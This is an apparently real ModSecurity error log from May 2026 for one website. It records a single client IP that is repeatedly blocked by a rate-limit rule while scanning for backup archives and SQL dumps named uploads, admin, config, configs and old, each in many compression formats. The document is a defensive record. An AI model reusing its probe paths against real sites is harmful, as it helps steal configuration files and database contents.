[Fri May 15 09:57:39.869159 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:37478] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.gz"] [unique_id "agZ9k9Y68iW8yuNkNzPwkAAAABM"]
[Fri May 15 09:57:40.565410 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:37484] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.bz2"] [unique_id "agZ9lN72N9CbeiqcqgPTVAAAAVc"]
[Fri May 15 09:57:41.215454 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:37494] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.zst"] [unique_id "agZ9ld72N9CbeiqcqgPTVgAAAUI"]
[Fri May 15 09:57:41.875010 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:37496] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.sql.gz"] [unique_id "agZ9ldmMhqLvs0GYixkbigAAAMM"]
[Fri May 15 09:57:42.501994 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:37508] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.sql.bz2"] [unique_id "agZ9ltmMhqLvs0GYixkbjAAAANI"]
[Fri May 15 09:57:43.169883 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:37514] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads.sql"] [unique_id "agZ9l9mMhqLvs0GYixkbjgAAANE"]
[Fri May 15 09:57:43.793071 2026] [:error] [pid 50531:tid 50540] [client 34.97.8.90:37518] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.zip"] [unique_id "agZ9lx3WbFwE6voqGzrj6gAAAQc"]
[Fri May 15 09:57:44.467896 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:37528] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.tar.gz"] [unique_id "agZ9mNqiXrD7hne4gFbJJQAAAIY"]
[Fri May 15 09:57:45.148411 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:48140] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.tgz"] [unique_id "agZ9md72N9CbeiqcqgPTWQAAAVA"]
[Fri May 15 09:57:45.789522 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:48150] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.tar"] [unique_id "agZ9mR3WbFwE6voqGzrj6wAAARE"]
[Fri May 15 09:57:46.442172 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:48166] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.tar.bz2"] [unique_id "agZ9mt72N9CbeiqcqgPTXAAAAUQ"]
[Fri May 15 09:57:47.096499 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:48180] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.tar.xz"] [unique_id "agZ9m972N9CbeiqcqgPTXwAAAVI"]
[Fri May 15 09:57:47.759126 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:48188] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.7z"] [unique_id "agZ9mwe36qIGegR4kcmA5AAAAEo"]
[Fri May 15 09:57:48.411643 2026] [:error] [pid 1190:tid 1254] [client 34.97.8.90:48192] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.rar"] [unique_id "agZ9nNqiXrD7hne4gFbJKQAAAII"]
[Fri May 15 09:57:49.044906 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:48198] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.gz"] [unique_id "agZ9nQe36qIGegR4kcmA5gAAAEc"]
[Fri May 15 09:57:49.680173 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:48204] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.bz2"] [unique_id "agZ9nd72N9CbeiqcqgPTYQAAAVg"]
[Fri May 15 09:57:50.349778 2026] [:error] [pid 1188:tid 1203] [client 34.97.8.90:48214] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.zst"] [unique_id "agZ9ntY68iW8yuNkNzPwlgAAAAY"]
[Fri May 15 09:57:50.993689 2026] [:error] [pid 1190:tid 1259] [client 34.97.8.90:48222] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.sql.gz"] [unique_id "agZ9ntqiXrD7hne4gFbJKwAAAIc"]
[Fri May 15 09:57:51.622602 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:48238] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.sql.bz2"] [unique_id "agZ9n972N9CbeiqcqgPTZAAAAVE"]
[Fri May 15 09:57:52.320652 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:48250] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.sql"] [unique_id "agZ9oN72N9CbeiqcqgPTZQAAAUs"]
[Fri May 15 09:57:52.987590 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:48252] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.zip"] [unique_id "agZ9oNY68iW8yuNkNzPwlwAAABQ"]
[Fri May 15 09:57:53.620904 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:48268] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.tar.gz"] [unique_id "agZ9oR3WbFwE6voqGzrj7gAAARM"]
[Fri May 15 09:57:54.282106 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:48274] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.tgz"] [unique_id "agZ9ot72N9CbeiqcqgPTaAAAAUQ"]
[Fri May 15 09:57:54.925784 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:42624] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.tar"] [unique_id "agZ9ot72N9CbeiqcqgPTagAAAUY"]
[Fri May 15 09:57:55.555296 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:42632] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.tar.bz2"] [unique_id "agZ9o972N9CbeiqcqgPTbQAAAVQ"]
[Fri May 15 09:57:56.266390 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:42646] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.tar.xz"] [unique_id "agZ9pN72N9CbeiqcqgPTcQAAAUg"]
[Fri May 15 09:57:56.926018 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:42660] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.7z"] [unique_id "agZ9pN72N9CbeiqcqgPTcwAAAUE"]
[Fri May 15 09:57:57.590075 2026] [:error] [pid 1188:tid 1220] [client 34.97.8.90:42670] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.rar"] [unique_id "agZ9pdY68iW8yuNkNzPwmQAAABc"]
[Fri May 15 09:57:58.250306 2026] [:error] [pid 51234:tid 51250] [client 34.97.8.90:42678] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.gz"] [unique_id "agZ9pt72N9CbeiqcqgPTewAAAU4"]
[Fri May 15 09:57:58.915648 2026] [:error] [pid 1295:tid 1313] [client 34.97.8.90:42690] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.bz2"] [unique_id "agZ9ptmMhqLvs0GYixkblQAAAM8"]
[Fri May 15 09:57:59.594087 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:42702] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.zst"] [unique_id "agZ9p9mMhqLvs0GYixkblgAAANc"]
[Fri May 15 09:58:00.230066 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:42714] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.sql.gz"] [unique_id "agZ9qNmMhqLvs0GYixkbmAAAANI"]
[Fri May 15 09:58:00.895420 2026] [:error] [pid 1189:tid 1244] [client 34.97.8.90:42724] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.sql.bz2"] [unique_id "agZ9qAe36qIGegR4kcmA8gAAAFM"]
[Fri May 15 09:58:01.596787 2026] [:error] [pid 1190:tid 1266] [client 34.97.8.90:42734] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.sql"] [unique_id "agZ9qdqiXrD7hne4gFbJLAAAAI4"]
[Fri May 15 09:58:02.300506 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:42740] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.zip"] [unique_id "agZ9qt72N9CbeiqcqgPTwQAAAUM"]
[Fri May 15 09:58:02.954690 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:42756] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.tar.gz"] [unique_id "agZ9qtqiXrD7hne4gFbJMAAAAJc"]
[Fri May 15 09:58:03.616686 2026] [:error] [pid 50531:tid 50546] [client 34.97.8.90:42758] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.tgz"] [unique_id "agZ9qx3WbFwE6voqGzrj8gAAAQ0"]
[Fri May 15 09:58:04.267156 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:42760] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.tar"] [unique_id "agZ9rNY68iW8yuNkNzPwoAAAABM"]
[Fri May 15 09:58:04.934460 2026] [:error] [pid 1190:tid 1255] [client 34.97.8.90:44194] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.tar.bz2"] [unique_id "agZ9rNqiXrD7hne4gFbJMwAAAIM"]
[Fri May 15 09:58:05.645583 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:44208] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.tar.xz"] [unique_id "agZ9rdmMhqLvs0GYixkbqwAAAM0"]
[Fri May 15 09:58:06.338244 2026] [:error] [pid 50531:tid 50543] [client 34.97.8.90:44214] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.7z"] [unique_id "agZ9rh3WbFwE6voqGzrj9gAAAQo"]
[Fri May 15 09:58:07.033666 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:44230] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.rar"] [unique_id "agZ9rwe36qIGegR4kcmA_wAAAE4"]
[Fri May 15 09:58:07.701890 2026] [:error] [pid 50531:tid 50540] [client 34.97.8.90:44246] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.gz"] [unique_id "agZ9rx3WbFwE6voqGzrj-AAAAQc"]
[Fri May 15 09:58:08.388344 2026] [:error] [pid 1190:tid 1268] [client 34.97.8.90:44258] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.bz2"] [unique_id "agZ9sNqiXrD7hne4gFbJRAAAAJA"]
[Fri May 15 09:58:09.029537 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:44264] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.zst"] [unique_id "agZ9sd72N9CbeiqcqgPUGAAAAU8"]
[Fri May 15 09:58:09.726509 2026] [:error] [pid 1190:tid 1252] [client 34.97.8.90:44274] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.sql.gz"] [unique_id "agZ9sdqiXrD7hne4gFbJUAAAAIA"]
[Fri May 15 09:58:10.410975 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:44290] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.sql.bz2"] [unique_id "agZ9stmMhqLvs0GYixkbrAAAAMM"]
[Fri May 15 09:58:11.094336 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:44298] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/configs.sql"] [unique_id "agZ9s9mMhqLvs0GYixkbrQAAANI"]
[Fri May 15 09:58:11.730566 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:44306] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.zip"] [unique_id "agZ9swe36qIGegR4kcmBCAAAAFc"]
[Fri May 15 09:58:12.420931 2026] [:error] [pid 1188:tid 1221] [client 34.97.8.90:44308] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.tar.gz"] [unique_id "agZ9tNY68iW8yuNkNzPwuwAAABg"]
[Fri May 15 09:58:13.158868 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:44324] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.tgz"] [unique_id "agZ9tQe36qIGegR4kcmBCQAAAFY"]
[Fri May 15 09:58:13.831768 2026] [:error] [pid 1188:tid 1200] [client 34.97.8.90:44338] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.tar"] [unique_id "agZ9tdY68iW8yuNkNzPwvgAAAAM"]
[Fri May 15 09:58:14.680793 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:44346] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.tar.bz2"] [unique_id "agZ9tge36qIGegR4kcmBCgAAAEM"]
[Fri May 15 09:58:15.248484 2026] [:error] [pid 1295:tid 1300] [client 34.97.8.90:49460] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.tar.xz"] [unique_id "agZ9t9mMhqLvs0GYixkbtAAAAMI"]
[Fri May 15 09:58:15.922826 2026] [:error] [pid 1295:tid 1317] [client 34.97.8.90:49468] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.7z"] [unique_id "agZ9t9mMhqLvs0GYixkbtgAAANM"]
[Fri May 15 09:58:16.615617 2026] [:error] [pid 50531:tid 50546] [client 34.97.8.90:49474] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.rar"] [unique_id "agZ9uB3WbFwE6voqGzrj-wAAAQ0"]
